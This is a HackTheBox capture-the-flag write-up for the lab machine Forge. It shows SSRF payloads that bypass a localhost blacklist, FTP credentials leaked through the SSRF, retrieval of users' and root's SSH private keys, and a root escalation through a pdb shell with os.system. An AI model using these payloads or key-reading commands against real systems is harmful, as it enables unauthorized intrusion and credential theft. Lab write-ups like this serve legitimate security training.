HackTheBox - Forge
Summary
| Forge | |
|---|---|
| Difficulty: | Medium |
| OS: | Linux |
| Release date: | 11-09-2021 |
| Forge was a medium Linux machine running a web application that contained an SSRF vulnerability. Exploitation of the SSRF vulnerability revealed a set of FTP credentials that made it possible to retrieve a private SSH key from the system. Root access was obtained by triggering an exception in a Python script to launch a Pdb shell. Since the Python script ran as root, privilege escalation was achieved through the Pdb shell. | |
Foothold
An Nmap scan revealed that this machine was running a webserver on port 80, SSH on port 22, and interestingly FTP on port 21. The ‘filtered’ state indicates that this service is behind a firewall.
mick@kali:~/Documents/HackTheBox/Forge$ nmap -sV -sC -oN nmap_forge 10.129.220.44
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 22:07 CEST
Nmap scan report for 10.129.220.44
Host is up (0.055s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
The web application was a gallery of images that also offered file upload functionality at /upload.


At this point it was likely that this image upload functionality can be exploited.
Some additional enumeration revealed an interesting subdomain called: admin.forge.htb.
mick@kali:~/Documents/HackTheBox/Forge$ wfuzz -w subdomains_top5000.txt --sc 200 -H "Host: FUZZ.forge.htb" forge.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/
Total requests: 4989
====================================================================
ID Response Lines Word Chars Payload
====================================================================
...
000000024: 200 1 L 4 W 27 Ch "admin"
...
After adding admin.forge.htb to my /etc/hosts file, a curl request to that endpoint showed that that page was only accessible from localhost.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://admin.forge.htb
Only localhost is allowed!
Since the webpage also offered the option “Upload from url”, it was worth a try to upload the admin.forge.htb page. By leveraging this SSRF vulnerability, I was able to view the content of that page even though it was only supposed to be accessible from localhost.

After requesting the URL where the content of admin.forge.htb was uploaded, I discovered a new endpoint ‘announcements’.
mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/N5yhKi7Aq14fHm4aSXLw
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Requesting the ‘/announcements’ endpoint with the same trick revealed a set of FTP credentials: user:heightofsecurity123!.

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/ZaKnCAcMIPtJhm03A3kv
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Since the FTP service was running behind a firewall, there was no way to access it directly. The SSRF vulnerability, however, could be used to access FTP. Unfortunately, trying to do so by submitting the URL http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected] to the “Upload from url” form showed that the URL contained a blacklisted address.

There was an SSRF prevention mechanism in place that prevented the localhost address 127.0.0.1 from being requested. A small trick was used to bypass this mechanism. The address 127.1 is also a localhost address. By submitting http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected] to the form, a listing of the FTP directory was successfully requested.

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/6IZ0EzrxkmRF61jb1lTe
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 28 06:18 user.txt
Since this directory was apparently a user’s home directory, I tried to retrieve the user’s private SSH key by submitting the following payload http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]/.ssh/id_rsa to the form.

mick@kali:~/Documents/HackTheBox/Forge$ curl http://forge.htb/uploads/F5SoAIgJxtNoqMAPp9XQ
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
...
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
After saving this private SSH key to a file, I managed to get access to the system.
mick@kali:~/Documents/HackTheBox/Forge$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 25 Sep 2021 10:17:38 AM UTC
System load: 0.0 Processes: 223
Usage of /: 44.9% of 6.82GB Users logged in: 0
Memory usage: 22% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Sep 24 20:13:50 2021 from 10.10.16.2
user@forge:~$ cat user.txt
ebd4e29c9829e0ac2d38a05d8e33002a
Root access
Checking for commands that this user can run as root revealed a Python script called /opt/remote-manage.py.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
The script contained the following code.
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
The highlighted lines are particularly interesting. They indicate that this script goes into pdb.post_mortem mode upon encountering an exception. Pdb is the Python debugger. Upon entering post_mortem mode, the user is allowed to execute Python code. In this specific context that is a privilege escalation vector since this script can be executed as root. At this point the only thing left to do was to trigger an exception in the script.
...
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
...
...
Line 4 in the code excerpt above appeared to be the point where an exception could be triggered by supplying a non-integer value.
To successfully execute this privilege escalation, 2 SSH connections had to be made to be able to interact with the Python script on the machine.
In one SSH session I ran the Python script.
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:41304
In another SSH session, I interacted with the script by connecting to localhost:41304 and provided a non-integer (‘a’) as input.
user@forge:~$ nc localhost 41304
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
a
This raised an exception and made the script enter the pdb.post_mortem mode.
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:41304
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
I was then able to obtain root’s private SSH key.
(Pdb) import os
(Pdb) os.system("cat /root/.ssh/id_rsa")
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
...
xIK6PSiF7Hs2Z7BZOVQd1BpblnZrL3mbJcdvXS8n55QgDuxfJeoxKrr9r1r/WqRjtce8/A
ZPz43Mi1EOl78AAAAKcm9vdEBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
After saving this SSH key locally, I was able to get root access to the system.
mick@kali:~/Documents/HackTheBox/Forge$ ssh [email protected] -i id_rsa_root
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 25 Sep 2021 10:48:42 AM UTC
System load: 0.0 Processes: 226
Usage of /: 44.9% of 6.82GB Users logged in: 1
Memory usage: 23% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Sep 7 17:07:50 2021
root@forge:~# cat root.txt
7cb49bd78563893b8fc7ca212d72e4b4